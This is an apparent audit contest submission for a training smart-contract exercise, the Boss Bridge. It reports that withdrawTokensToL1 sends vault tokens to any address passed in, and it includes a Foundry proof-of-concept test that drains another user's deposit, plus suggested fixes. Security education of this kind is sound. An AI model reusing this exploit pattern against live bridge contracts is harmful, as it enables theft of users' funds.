First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

withdrawTokensToL1 permits to sends tokens to arbitrary user - steal funds

rapstyle

Summary

The function L1BossBridge::withdrawTokensToL1 permits to sends token from vault to arbitrary user passed as argument.

function withdrawTokensToL1(
@> address to,
uint256 amount,
uint8 v,
bytes32 r,
bytes32 s
) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(
IERC20.transferFrom,
@> (address(vault), to, amount)
)
)
);
}

Vulnerability Details

The function L1BossBridge::withdrawTokensToL1 gets the target address as an argument and use it inside the abi.encodeCall function to create the message to pass to the function sendToL1.
The function sendToL1 call the function IERC20.transferFrom(address(vault), to, amount) on the address(token) and transfer the token from the vault to the attacker address.

Here a simple test to verify the vulnerability:

Code:
function testAttackerCanStealTokensWithWithdrawFunction() public {
// A user deposit tokens on the vault
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
uint256 user2InitialBalance = token.balanceOf(address(user2));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
​
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(
token.balanceOf(address(user)),
userInitialBalance - depositAmount
);
​
// User2 steal tokens from the vault without any previous deposit
vm.startPrank(user2);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user2, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(user2, depositAmount, v, r, s);
assertEq(
token.balanceOf(address(user2)),
user2InitialBalance + depositAmount
);
assertEq(token.balanceOf(address(vault)), 0);
}

Impact

An attacker can steal tokens from the vault with the function withdrawTokensToL1.

Tools Used

Foundry test + manual check

Recommendations

One possible solution is to keep track of the balance of tokens that each user deposits and withdraws.
It is also necessary to manage access to the withdraw function only for users who have made a deposit.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.